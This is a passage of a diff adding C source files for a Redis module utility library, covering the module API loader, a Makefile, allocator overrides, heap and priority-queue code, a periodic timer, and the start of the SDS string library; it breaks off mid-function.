int REDISMODULE_API_FUNC(RedisModule_GetClusterNodeInfo)(RedisModuleCtx *ctx, const char *id, char *ip, char *master_id, int *port, int *flags);
char **REDISMODULE_API_FUNC(RedisModule_GetClusterNodesList)(RedisModuleCtx *ctx, size_t *numnodes);
void REDISMODULE_API_FUNC(RedisModule_FreeClusterNodesList)(char **ids);
RedisModuleTimerID REDISMODULE_API_FUNC(RedisModule_CreateTimer)(RedisModuleCtx *ctx, mstime_t period, RedisModuleTimerProc callback, void *data);
int REDISMODULE_API_FUNC(RedisModule_StopTimer)(RedisModuleCtx *ctx, RedisModuleTimerID id, void **data);
int REDISMODULE_API_FUNC(RedisModule_GetTimerInfo)(RedisModuleCtx *ctx, RedisModuleTimerID id, uint64_t *remaining, void **data);
const char *REDISMODULE_API_FUNC(RedisModule_GetMyClusterID)(void);
size_t REDISMODULE_API_FUNC(RedisModule_GetClusterSize)(void);
void REDISMODULE_API_FUNC(RedisModule_GetRandomBytes)(unsigned char *dst, size_t len);
void REDISMODULE_API_FUNC(RedisModule_GetRandomHexChars)(char *dst, size_t len);
void REDISMODULE_API_FUNC(RedisModule_SetDisconnectCallback)(RedisModuleBlockedClient *bc, RedisModuleDisconnectFunc callback);
void REDISMODULE_API_FUNC(RedisModule_SetClusterFlags)(RedisModuleCtx *ctx, uint64_t flags);
#endif
/* This is included inline inside each Redis module. */
static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) __attribute__((unused));
static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) {
void *getapifuncptr = ((void**)ctx)[0];
RedisModule_GetApi = (int (*)(const char *, void *)) (unsigned long)getapifuncptr;
REDISMODULE_GET_API(Alloc);
REDISMODULE_GET_API(Calloc);
REDISMODULE_GET_API(Free);
REDISMODULE_GET_API(Realloc);
REDISMODULE_GET_API(Strdup);
REDISMODULE_GET_API(CreateCommand);
REDISMODULE_GET_API(SetModuleAttribs);
REDISMODULE_GET_API(IsModuleNameBusy);
REDISMODULE_GET_API(WrongArity);
REDISMODULE_GET_API(ReplyWithLongLong);
REDISMODULE_GET_API(ReplyWithError);
REDISMODULE_GET_API(ReplyWithSimpleString);
REDISMODULE_GET_API(ReplyWithArray);
REDISMODULE_GET_API(ReplySetArrayLength);
REDISMODULE_GET_API(ReplyWithStringBuffer);
REDISMODULE_GET_API(ReplyWithString);
REDISMODULE_GET_API(ReplyWithNull);
REDISMODULE_GET_API(ReplyWithCallReply);
REDISMODULE_GET_API(ReplyWithDouble);
REDISMODULE_GET_API(ReplySetArrayLength);
REDISMODULE_GET_API(GetSelectedDb);
REDISMODULE_GET_API(SelectDb);
REDISMODULE_GET_API(OpenKey);
REDISMODULE_GET_API(CloseKey);
REDISMODULE_GET_API(KeyType);
REDISMODULE_GET_API(ValueLength);
REDISMODULE_GET_API(ListPush);
REDISMODULE_GET_API(ListPop);
REDISMODULE_GET_API(StringToLongLong);
REDISMODULE_GET_API(StringToDouble);
REDISMODULE_GET_API(Call);
REDISMODULE_GET_API(CallReplyProto);
REDISMODULE_GET_API(FreeCallReply);
REDISMODULE_GET_API(CallReplyInteger);
REDISMODULE_GET_API(CallReplyType);
REDISMODULE_GET_API(CallReplyLength);
REDISMODULE_GET_API(CallReplyArrayElement);
REDISMODULE_GET_API(CallReplyStringPtr);
REDISMODULE_GET_API(CreateStringFromCallReply);
REDISMODULE_GET_API(CreateString);
REDISMODULE_GET_API(CreateStringFromLongLong);
REDISMODULE_GET_API(CreateStringFromString);
REDISMODULE_GET_API(CreateStringPrintf);
REDISMODULE_GET_API(FreeString);
REDISMODULE_GET_API(StringPtrLen);
REDISMODULE_GET_API(AutoMemory);
REDISMODULE_GET_API(Replicate);
REDISMODULE_GET_API(ReplicateVerbatim);
REDISMODULE_GET_API(DeleteKey);
REDISMODULE_GET_API(UnlinkKey);
REDISMODULE_GET_API(StringSet);
REDISMODULE_GET_API(StringDMA);
REDISMODULE_GET_API(StringTruncate);
REDISMODULE_GET_API(GetExpire);
REDISMODULE_GET_API(SetExpire);
REDISMODULE_GET_API(ZsetAdd);
REDISMODULE_GET_API(ZsetIncrby);
REDISMODULE_GET_API(ZsetScore);
REDISMODULE_GET_API(ZsetRem);
REDISMODULE_GET_API(ZsetRangeStop);
REDISMODULE_GET_API(ZsetFirstInScoreRange);
REDISMODULE_GET_API(ZsetLastInScoreRange);
REDISMODULE_GET_API(ZsetFirstInLexRange);
REDISMODULE_GET_API(ZsetLastInLexRange);
REDISMODULE_GET_API(ZsetRangeCurrentElement);
REDISMODULE_GET_API(ZsetRangeNext);
REDISMODULE_GET_API(ZsetRangePrev);
REDISMODULE_GET_API(ZsetRangeEndReached);
REDISMODULE_GET_API(HashSet);
REDISMODULE_GET_API(HashGet);
REDISMODULE_GET_API(IsKeysPositionRequest);
REDISMODULE_GET_API(KeyAtPos);
REDISMODULE_GET_API(GetClientId);
REDISMODULE_GET_API(GetContextFlags);
REDISMODULE_GET_API(PoolAlloc);
REDISMODULE_GET_API(CreateDataType);
REDISMODULE_GET_API(ModuleTypeSetValue);
REDISMODULE_GET_API(ModuleTypeGetType);
REDISMODULE_GET_API(ModuleTypeGetValue);
REDISMODULE_GET_API(SaveUnsigned);
REDISMODULE_GET_API(LoadUnsigned);
REDISMODULE_GET_API(SaveSigned);
REDISMODULE_GET_API(LoadSigned);
REDISMODULE_GET_API(SaveString);
REDISMODULE_GET_API(SaveStringBuffer);
REDISMODULE_GET_API(LoadString);
REDISMODULE_GET_API(LoadStringBuffer);
REDISMODULE_GET_API(SaveDouble);
REDISMODULE_GET_API(LoadDouble);
REDISMODULE_GET_API(SaveFloat);
REDISMODULE_GET_API(LoadFloat);
REDISMODULE_GET_API(EmitAOF);
REDISMODULE_GET_API(Log);
REDISMODULE_GET_API(LogIOError);
REDISMODULE_GET_API(StringAppendBuffer);
REDISMODULE_GET_API(RetainString);
REDISMODULE_GET_API(StringCompare);
REDISMODULE_GET_API(GetContextFromIO);
REDISMODULE_GET_API(Milliseconds);
REDISMODULE_GET_API(DigestAddStringBuffer);
REDISMODULE_GET_API(DigestAddLongLong);
REDISMODULE_GET_API(DigestEndSequence);
REDISMODULE_GET_API(CreateDict);
REDISMODULE_GET_API(FreeDict);
REDISMODULE_GET_API(DictSize);
REDISMODULE_GET_API(DictSetC);
REDISMODULE_GET_API(DictReplaceC);
REDISMODULE_GET_API(DictSet);
REDISMODULE_GET_API(DictReplace);
REDISMODULE_GET_API(DictGetC);
REDISMODULE_GET_API(DictGet);
REDISMODULE_GET_API(DictDelC);
REDISMODULE_GET_API(DictDel);
REDISMODULE_GET_API(DictIteratorStartC);
REDISMODULE_GET_API(DictIteratorStart);
REDISMODULE_GET_API(DictIteratorStop);
REDISMODULE_GET_API(DictIteratorReseekC);
REDISMODULE_GET_API(DictIteratorReseek);
REDISMODULE_GET_API(DictNextC);
REDISMODULE_GET_API(DictPrevC);
REDISMODULE_GET_API(DictNext);
REDISMODULE_GET_API(DictPrev);
REDISMODULE_GET_API(DictCompare);
REDISMODULE_GET_API(DictCompareC);
#ifdef REDISMODULE_EXPERIMENTAL_API
REDISMODULE_GET_API(GetThreadSafeContext);
REDISMODULE_GET_API(FreeThreadSafeContext);
REDISMODULE_GET_API(ThreadSafeContextLock);
REDISMODULE_GET_API(ThreadSafeContextUnlock);
REDISMODULE_GET_API(BlockClient);
REDISMODULE_GET_API(UnblockClient);
REDISMODULE_GET_API(IsBlockedReplyRequest);
REDISMODULE_GET_API(IsBlockedTimeoutRequest);
REDISMODULE_GET_API(GetBlockedClientPrivateData);
REDISMODULE_GET_API(GetBlockedClientHandle);
REDISMODULE_GET_API(AbortBlock);
REDISMODULE_GET_API(SetDisconnectCallback);
REDISMODULE_GET_API(SubscribeToKeyspaceEvents);
REDISMODULE_GET_API(BlockedClientDisconnected);
REDISMODULE_GET_API(RegisterClusterMessageReceiver);
REDISMODULE_GET_API(SendClusterMessage);
REDISMODULE_GET_API(GetClusterNodeInfo);
REDISMODULE_GET_API(GetClusterNodesList);
REDISMODULE_GET_API(FreeClusterNodesList);
REDISMODULE_GET_API(CreateTimer);
REDISMODULE_GET_API(StopTimer);
REDISMODULE_GET_API(GetTimerInfo);
REDISMODULE_GET_API(GetMyClusterID);
REDISMODULE_GET_API(GetClusterSize);
REDISMODULE_GET_API(GetRandomBytes);
REDISMODULE_GET_API(GetRandomHexChars);
REDISMODULE_GET_API(SetClusterFlags);
#endif
if (RedisModule_IsModuleNameBusy && RedisModule_IsModuleNameBusy(name)) return REDISMODULE_ERR;
RedisModule_SetModuleAttribs(ctx,name,ver,apiver);
return REDISMODULE_OK;
}
#else
/* Things only defined for the modules core, not exported to modules
* including this file. */
#define RedisModuleString robj
#endif /* REDISMODULE_CORE */
#endif /* REDISMOUDLE_H */
+31
View File
@@ -0,0 +1,31 @@
# set environment variable RM_INCLUDE_DIR to the location of redismodule.h
ifndef RM_INCLUDE_DIR
RM_INCLUDE_DIR=../
endif
CFLAGS ?= -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function
CFLAGS += -I$(RM_INCLUDE_DIR)
CC=gcc
OBJS=util.o strings.o sds.o vector.o alloc.o periodic.o
all: librmutil.a
clean:
rm -rf *.o *.a
librmutil.a: $(OBJS)
ar rcs $@ $^
test_vector: test_vector.o vector.o
$(CC) -Wall -o $@ $^ -lc -lpthread -O0
@(sh -c ./$@)
.PHONY: test_vector
test_periodic: test_periodic.o periodic.o
$(CC) -Wall -o $@ $^ -lc -lpthread -O0
@(sh -c ./$@)
.PHONY: test_periodic
test: test_periodic test_vector
.PHONY: test
+32
View File
@@ -0,0 +1,32 @@
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include "alloc.h"
/* A patched implementation of strdup that will use our patched calloc */
char *rmalloc_strndup(const char *s, size_t n) {
char *ret = calloc(n + 1, sizeof(char));
if (ret)
memcpy(ret, s, n);
return ret;
}
/*
* Re-patching RedisModule_Alloc and friends to the original malloc functions
*
* This function should be called if you are working with malloc-patched code
* outside of redis, usually for unit tests. Call it once when entering your unit
* tests' main().
*
* Since including "alloc.h" while defining REDIS_MODULE_TARGET
* replaces all malloc functions in redis with the RM_Alloc family of functions,
* when running that code outside of redis, your app will crash. This function
* patches the RM_Alloc functions back to the original mallocs. */
void RMUTil_InitAlloc() {
RedisModule_Alloc = malloc;
RedisModule_Realloc = realloc;
RedisModule_Calloc = calloc;
RedisModule_Free = free;
RedisModule_Strdup = strdup;
}
+51
View File
@@ -0,0 +1,51 @@
#ifndef __RMUTIL_ALLOC__
#define __RMUTIL_ALLOC__
/* Automatic Redis Module Allocation functions monkey-patching.
*
* Including this file while REDIS_MODULE_TARGET is defined, will explicitly
* override malloc, calloc, realloc & free with RedisModule_Alloc,
* RedisModule_Callc, etc implementations, that allow Redis better control and
* reporting over allocations per module.
*
* You should include this file in all c files AS THE LAST INCLUDED FILE
*
* This only has effect when when compiling with the macro REDIS_MODULE_TARGET
* defined. The idea is that for unit tests it will not be defined, but for the
* module build target it will be.
*
*/
#include <stdlib.h>
#include <redismodule.h>
char *rmalloc_strndup(const char *s, size_t n);
#ifdef REDIS_MODULE_TARGET /* Set this when compiling your code as a module */
#define malloc(size) RedisModule_Alloc(size)
#define calloc(count, size) RedisModule_Calloc(count, size)
#define realloc(ptr, size) RedisModule_Realloc(ptr, size)
#define free(ptr) RedisModule_Free(ptr)
#ifdef strdup
#undef strdup
#endif
#define strdup(ptr) RedisModule_Strdup(ptr)
/* More overriding */
// needed to avoid calling strndup->malloc
#ifdef strndup
#undef strndup
#endif
#define strndup(s, n) rmalloc_strndup(s, n)
#else
#endif /* REDIS_MODULE_TARGET */
/* This function should be called if you are working with malloc-patched code
* outside of redis, usually for unit tests. Call it once when entering your unit
* tests' main() */
void RMUTil_InitAlloc();
#endif /* __RMUTIL_ALLOC__ */
+107
View File
@@ -0,0 +1,107 @@
#include "heap.h"
/* Byte-wise swap two items of size SIZE. */
#define SWAP(a, b, size) \
do \
{ \
register size_t __size = (size); \
register char *__a = (a), *__b = (b); \
do \
{ \
char __tmp = *__a; \
*__a++ = *__b; \
*__b++ = __tmp; \
} while (--__size > 0); \
} while (0)
inline char *__vector_GetPtr(Vector *v, size_t pos) {
return v->data + (pos * v->elemSize);
}
void __sift_up(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
size_t len = last - first;
if (len > 1) {
len = (len - 2) / 2;
size_t ptr = first + len;
if (cmp(__vector_GetPtr(v, ptr), __vector_GetPtr(v, --last)) < 0) {
char t[v->elemSize];
memcpy(t, __vector_GetPtr(v, last), v->elemSize);
do {
memcpy(__vector_GetPtr(v, last), __vector_GetPtr(v, ptr), v->elemSize);
last = ptr;
if (len == 0)
break;
len = (len - 1) / 2;
ptr = first + len;
} while (cmp(__vector_GetPtr(v, ptr), t) < 0);
memcpy(__vector_GetPtr(v, last), t, v->elemSize);
}
}
}
void __sift_down(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *), size_t start) {
// left-child of __start is at 2 * __start + 1
// right-child of __start is at 2 * __start + 2
size_t len = last - first;
size_t child = start - first;
if (len < 2 || (len - 2) / 2 < child)
return;
child = 2 * child + 1;
if ((child + 1) < len && cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, first + child + 1)) < 0) {
// right-child exists and is greater than left-child
++child;
}
// check if we are in heap-order
if (cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, start)) < 0)
// we are, __start is larger than it's largest child
return;
char top[v->elemSize];
memcpy(top, __vector_GetPtr(v, start), v->elemSize);
do {
// we are not in heap-order, swap the parent with it's largest child
memcpy(__vector_GetPtr(v, start), __vector_GetPtr(v, first + child), v->elemSize);
start = first + child;
if ((len - 2) / 2 < child)
break;
// recompute the child based off of the updated parent
child = 2 * child + 1;
if ((child + 1) < len && cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, first + child + 1)) < 0) {
// right-child exists and is greater than left-child
++child;
}
// check if we are in heap-order
} while (cmp(__vector_GetPtr(v, first + child), top) >= 0);
memcpy(__vector_GetPtr(v, start), top, v->elemSize);
}
void Make_Heap(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
if (last - first > 1) {
// start from the first parent, there is no need to consider children
for (int start = (last - first - 2) / 2; start >= 0; --start) {
__sift_down(v, first, last, cmp, first + start);
}
}
}
inline void Heap_Push(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
__sift_up(v, first, last, cmp);
}
inline void Heap_Pop(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
if (last - first > 1) {
SWAP(__vector_GetPtr(v, first), __vector_GetPtr(v, --last), v->elemSize);
__sift_down(v, first, last, cmp, first);
}
}
+38
View File
@@ -0,0 +1,38 @@
#ifndef __HEAP_H__
#define __HEAP_H__
#include "vector.h"
/* Make heap from range
* Rearranges the elements in the range [first,last) in such a way that they form a heap.
* A heap is a way to organize the elements of a range that allows for fast retrieval of the element with the highest
* value at any moment (with pop_heap), even repeatedly, while allowing for fast insertion of new elements (with
* push_heap).
* The element with the highest value is always pointed by first. The order of the other elements depends on the
* particular implementation, but it is consistent throughout all heap-related functions of this header.
* The elements are compared using cmp.
*/
void Make_Heap(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
/* Push element into heap range
* Given a heap in the range [first,last-1), this function extends the range considered a heap to [first,last) by
* placing the value in (last-1) into its corresponding location within it.
* A range can be organized into a heap by calling make_heap. After that, its heap properties are preserved if elements
* are added and removed from it using push_heap and pop_heap, respectively.
*/
void Heap_Push(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
/* Pop element from heap range
* Rearranges the elements in the heap range [first,last) in such a way that the part considered a heap is shortened
* by one: The element with the highest value is moved to (last-1).
* While the element with the highest value is moved from first to (last-1) (which now is out of the heap), the other
* elements are reorganized in such a way that the range [first,last-1) preserves the properties of a heap.
* A range can be organized into a heap by calling make_heap. After that, its heap properties are preserved if elements
* are added and removed from it using push_heap and pop_heap, respectively.
*/
void Heap_Pop(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
#endif //__HEAP_H__
+11
View File
@@ -0,0 +1,11 @@
#ifndef __RMUTIL_LOGGING_H__
#define __RMUTIL_LOGGING_H__
/* Convenience macros for redis logging */
#define RM_LOG_DEBUG(ctx, ...) RedisModule_Log(ctx, "debug", __VA_ARGS__)
#define RM_LOG_VERBOSE(ctx, ...) RedisModule_Log(ctx, "verbose", __VA_ARGS__)
#define RM_LOG_NOTICE(ctx, ...) RedisModule_Log(ctx, "notice", __VA_ARGS__)
#define RM_LOG_WARNING(ctx, ...) RedisModule_Log(ctx, "warning", __VA_ARGS__)
#endif
+88
View File
@@ -0,0 +1,88 @@
#define REDISMODULE_EXPERIMENTAL_API
#include "periodic.h"
#include <pthread.h>
#include <stdlib.h>
#include <errno.h>
typedef struct RMUtilTimer {
RMutilTimerFunc cb;
RMUtilTimerTerminationFunc onTerm;
void *privdata;
struct timespec interval;
pthread_t thread;
pthread_mutex_t lock;
pthread_cond_t cond;
} RMUtilTimer;
static struct timespec timespecAdd(struct timespec *a, struct timespec *b) {
struct timespec ret;
ret.tv_sec = a->tv_sec + b->tv_sec;
long long ns = a->tv_nsec + b->tv_nsec;
ret.tv_sec += ns / 1000000000;
ret.tv_nsec = ns % 1000000000;
return ret;
}
static void *rmutilTimer_Loop(void *ctx) {
RMUtilTimer *tm = ctx;
int rc = ETIMEDOUT;
struct timespec ts;
pthread_mutex_lock(&tm->lock);
while (rc != 0) {
clock_gettime(CLOCK_REALTIME, &ts);
struct timespec timeout = timespecAdd(&ts, &tm->interval);
if ((rc = pthread_cond_timedwait(&tm->cond, &tm->lock, &timeout)) == ETIMEDOUT) {
// Create a thread safe context if we're running inside redis
RedisModuleCtx *rctx = NULL;
if (RedisModule_GetThreadSafeContext) rctx = RedisModule_GetThreadSafeContext(NULL);
// call our callback...
tm->cb(rctx, tm->privdata);
// If needed - free the thread safe context.
// It's up to the user to decide whether automemory is active there
if (rctx) RedisModule_FreeThreadSafeContext(rctx);
}
if (rc == EINVAL) {
perror("Error waiting for condition");
break;
}
}
// call the termination callback if needed
if (tm->onTerm != NULL) {
tm->onTerm(tm->privdata);
}
// free resources associated with the timer
pthread_cond_destroy(&tm->cond);
free(tm);
return NULL;
}
/* set a new frequency for the timer. This will take effect AFTER the next trigger */
void RMUtilTimer_SetInterval(struct RMUtilTimer *t, struct timespec newInterval) {
t->interval = newInterval;
}
RMUtilTimer *RMUtil_NewPeriodicTimer(RMutilTimerFunc cb, RMUtilTimerTerminationFunc onTerm,
void *privdata, struct timespec interval) {
RMUtilTimer *ret = malloc(sizeof(*ret));
*ret = (RMUtilTimer){
.privdata = privdata, .interval = interval, .cb = cb, .onTerm = onTerm,
};
pthread_cond_init(&ret->cond, NULL);
pthread_mutex_init(&ret->lock, NULL);
pthread_create(&ret->thread, NULL, rmutilTimer_Loop, ret);
return ret;
}
int RMUtilTimer_Terminate(struct RMUtilTimer *t) {
return pthread_cond_signal(&t->cond);
}
+46
View File
@@ -0,0 +1,46 @@
#ifndef RMUTIL_PERIODIC_H_
#define RMUTIL_PERIODIC_H_
#include <time.h>
#include <redismodule.h>
/** periodic.h - Utility periodic timer running a task repeatedly every given time interval */
/* RMUtilTimer - opaque context for the timer */
struct RMUtilTimer;
/* RMutilTimerFunc - callback type for timer tasks. The ctx is a thread-safe redis module context
* that should be locked/unlocked by the callback when running stuff against redis. privdata is
* pre-existing private data */
typedef void (*RMutilTimerFunc)(RedisModuleCtx *ctx, void *privdata);
typedef void (*RMUtilTimerTerminationFunc)(void *privdata);
/* Create and start a new periodic timer. Each timer has its own thread and can only be run and
* stopped once. The timer runs `cb` every `interval` with `privdata` passed to the callback. */
struct RMUtilTimer *RMUtil_NewPeriodicTimer(RMutilTimerFunc cb, RMUtilTimerTerminationFunc onTerm,
void *privdata, struct timespec interval);
/* set a new frequency for the timer. This will take effect AFTER the next trigger */
void RMUtilTimer_SetInterval(struct RMUtilTimer *t, struct timespec newInterval);
/* Stop the timer loop, call the termination callbck to free up any resources linked to the timer,
* and free the timer after stopping.
*
* This function doesn't wait for the thread to terminate, as it may cause a race condition if the
* timer's callback is waiting for the redis global lock.
* Instead you should make sure any resources are freed by the callback after the thread loop is
* finished.
*
* The timer is freed automatically, so the callback doesn't need to do anything about it.
* The callback gets the timer's associated privdata as its argument.
*
* If no callback is specified we do not free up privdata. If privdata is NULL we still call the
* callback, as it may log stuff or free global resources.
*/
int RMUtilTimer_Terminate(struct RMUtilTimer *t);
/* DEPRECATED - do not use this function (well now you can't), use terminate instead
Free the timer context. The caller should be responsible for freeing the private data at this
* point */
// void RMUtilTimer_Free(struct RMUtilTimer *t);
#endif
@@ -0,0 +1,36 @@
#include "priority_queue.h"
#include "heap.h"
PriorityQueue *__newPriorityQueueSize(size_t elemSize, size_t cap, int (*cmp)(void *, void *)) {
PriorityQueue *pq = malloc(sizeof(PriorityQueue));
pq->v = __newVectorSize(elemSize, cap);
pq->cmp = cmp;
return pq;
}
inline size_t Priority_Queue_Size(PriorityQueue *pq) {
return Vector_Size(pq->v);
}
inline int Priority_Queue_Top(PriorityQueue *pq, void *ptr) {
return Vector_Get(pq->v, 0, ptr);
}
inline size_t __priority_Queue_PushPtr(PriorityQueue *pq, void *elem) {
size_t top = __vector_PushPtr(pq->v, elem);
Heap_Push(pq->v, 0, top, pq->cmp);
return top;
}
inline void Priority_Queue_Pop(PriorityQueue *pq) {
if (pq->v->top == 0) {
return;
}
Heap_Pop(pq->v, 0, pq->v->top, pq->cmp);
pq->v->top--;
}
void Priority_Queue_Free(PriorityQueue *pq) {
Vector_Free(pq->v);
free(pq);
}
@@ -0,0 +1,55 @@
#ifndef __PRIORITY_QUEUE_H__
#define __PRIORITY_QUEUE_H__
#include "vector.h"
/* Priority queue
* Priority queues are designed such that its first element is always the greatest of the elements it contains.
* This context is similar to a heap, where elements can be inserted at any moment, and only the max heap element can be
* retrieved (the one at the top in the priority queue).
* Priority queues are implemented as Vectors. Elements are popped from the "back" of Vector, which is known as the top
* of the priority queue.
*/
typedef struct {
Vector *v;
int (*cmp)(void *, void *);
} PriorityQueue;
/* Construct priority queue
* Constructs a priority_queue container adaptor object.
*/
PriorityQueue *__newPriorityQueueSize(size_t elemSize, size_t cap, int (*cmp)(void *, void *));
#define NewPriorityQueue(type, cap, cmp) __newPriorityQueueSize(sizeof(type), cap, cmp)
/* Return size
* Returns the number of elements in the priority_queue.
*/
size_t Priority_Queue_Size(PriorityQueue *pq);
/* Access top element
* Copy the top element in the priority_queue to ptr.
* The top element is the element that compares higher in the priority_queue.
*/
int Priority_Queue_Top(PriorityQueue *pq, void *ptr);
/* Insert element
* Inserts a new element in the priority_queue.
*/
size_t __priority_Queue_PushPtr(PriorityQueue *pq, void *elem);
#define Priority_Queue_Push(pq, elem) __priority_Queue_PushPtr(pq, &(typeof(elem)){elem})
/* Remove top element
* Removes the element on top of the priority_queue, effectively reducing its size by one. The element removed is the
* one with the highest value.
* The value of this element can be retrieved before being popped by calling Priority_Queue_Top.
*/
void Priority_Queue_Pop(PriorityQueue *pq);
/* free the priority queue and the underlying data. Does not release its elements if
* they are pointers */
void Priority_Queue_Free(PriorityQueue *pq);
#endif //__PRIORITY_QUEUE_H__
+1274
View File
@@ -0,0 +1,1274 @@
/* SDSLib 2.0 -- A C dynamic strings library
*
* Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
* Copyright (c) 2015, Oran Agra
* Copyright (c) 2015, Redis Labs, Inc
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Redis nor the names of its contributors may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <assert.h>
#include "sds.h"
#include "sdsalloc.h"
static inline int sdsHdrSize(char type) {
switch(type&SDS_TYPE_MASK) {
case SDS_TYPE_5:
return sizeof(struct sdshdr5);
case SDS_TYPE_8:
return sizeof(struct sdshdr8);
case SDS_TYPE_16:
return sizeof(struct sdshdr16);
case SDS_TYPE_32:
return sizeof(struct sdshdr32);
case SDS_TYPE_64:
return sizeof(struct sdshdr64);
}
return 0;
}
static inline char sdsReqType(size_t string_size) {
if (string_size < 32)
return SDS_TYPE_5;
if (string_size < 0xff)
return SDS_TYPE_8;
if (string_size < 0xffff)
return SDS_TYPE_16;
if (string_size < 0xffffffff)
return SDS_TYPE_32;
return SDS_TYPE_64;
}
/* Create a new sds string with the content specified by the 'init' pointer
* and 'initlen'.
* If NULL is used for 'init' the string is initialized with zero bytes.
*
* The string is always null-termined (all the sds strings are, always) so
* even if you create an sds string with:
*
* mystring = sdsnewlen("abc",3);
*
* You can print the string with printf() as there is an implicit \0 at the
* end of the string. However the string is binary safe and can contain
* \0 characters in the middle, as the length is stored in the sds header. */
sds sdsnewlen(const void *init, size_t initlen) {
void *sh;
sds s;
char type = sdsReqType(initlen);
/* Empty strings are usually created in order to append. Use type 8
* since type 5 is not good at this. */
if (type == SDS_TYPE_5 && initlen == 0) type = SDS_TYPE_8;
int hdrlen = sdsHdrSize(type);
unsigned char *fp; /* flags pointer. */
sh = s_malloc(hdrlen+initlen+1);
if (!init)
memset(sh, 0, hdrlen+initlen+1);
if (sh == NULL) return NULL;
s = (char*)sh+hdrlen;
fp = ((unsigned char*)s)-1;
switch(type) {
case SDS_TYPE_5: {
*fp = type | (initlen << SDS_TYPE_BITS);
break;
}
case SDS_TYPE_8: {
SDS_HDR_VAR(8,s);
sh->len = initlen;
sh->alloc = initlen;
*fp = type;
break;
}
case SDS_TYPE_16: {
SDS_HDR_VAR(16,s);
sh->len = initlen;
sh->alloc = initlen;
*fp = type;
break;
}
case SDS_TYPE_32: {
SDS_HDR_VAR(32,s);
sh->len = initlen;
sh->alloc = initlen;
*fp = type;
break;
}
case SDS_TYPE_64: {
SDS_HDR_VAR(64,s);
sh->len = initlen;
sh->alloc = initlen;
*fp = type;
break;
}
}
if (initlen && init)
memcpy(s, init, initlen);
s[initlen] = '\0';
return s;
}
/* Create an empty (zero length) sds string. Even in this case the string
* always has an implicit null term. */
sds sdsempty(void) {
return sdsnewlen("",0);
}
/* Create a new sds string starting from a null terminated C string. */
sds sdsnew(const char *init) {
size_t initlen = (init == NULL) ? 0 : strlen(init);
return sdsnewlen(init, initlen);
}
/* Duplicate an sds string. */
sds sdsdup(const sds s) {
return sdsnewlen(s, sdslen(s));
}
/* Free an sds string. No operation is performed if 's' is NULL. */
void sdsfree(sds s) {
if (s == NULL) return;
s_free((char*)s-sdsHdrSize(s[-1]));
}
/* Set the sds string length to the length as obtained with strlen(), so
* considering as content only up to the first null term character.
*
* This function is useful when the sds string is hacked manually in some
* way, like in the following example:
*
* s = sdsnew("foobar");
* s[2] = '\0';
* sdsupdatelen(s);
* printf("%d\n", sdslen(s));
*
* The output will be "2", but if we comment out the call to sdsupdatelen()
* the output will be "6" as the string was modified but the logical length
* remains 6 bytes. */
void sdsupdatelen(sds s) {
int reallen = strlen(s);
sdssetlen(s, reallen);
}
/* Modify an sds string in-place to make it empty (zero length).
* However all the existing buffer is not discarded but set as free space
* so that next append operations will not require allocations up to the
* number of bytes previously available. */
void sdsclear(sds s) {
sdssetlen(s, 0);
s[0] = '\0';
}
/* Enlarge the free space at the end of the sds string so that the caller
* is sure that after calling this function can overwrite up to addlen
* bytes after the end of the string, plus one more byte for nul term.
*
* Note: this does not change the *length* of the sds string as returned
* by sdslen(), but only the free buffer space we have. */
sds sdsMakeRoomFor(sds s, size_t addlen) {
void *sh, *newsh;
size_t avail = sdsavail(s);
size_t len, newlen;
char type, oldtype = s[-1] & SDS_TYPE_MASK;
int hdrlen;
/* Return ASAP if there is enough space left. */
if (avail >= addlen) return s;
len = sdslen(s);
sh = (char*)s-sdsHdrSize(oldtype);
newlen = (len+addlen);
if (newlen < SDS_MAX_PREALLOC)
newlen *= 2;
else
newlen += SDS_MAX_PREALLOC;
type = sdsReqType(newlen);
/* Don't use type 5: the user is appending to the string and type 5 is
* not able to remember empty space, so sdsMakeRoomFor() must be called
* at every appending operation. */
if (type == SDS_TYPE_5) type = SDS_TYPE_8;
hdrlen = sdsHdrSize(type);
if (oldtype==type) {
newsh = s_realloc(sh, hdrlen+newlen+1);
if (newsh == NULL) return NULL;
s = (char*)newsh+hdrlen;
} else {
/* Since the header size changes, need to move the string forward,
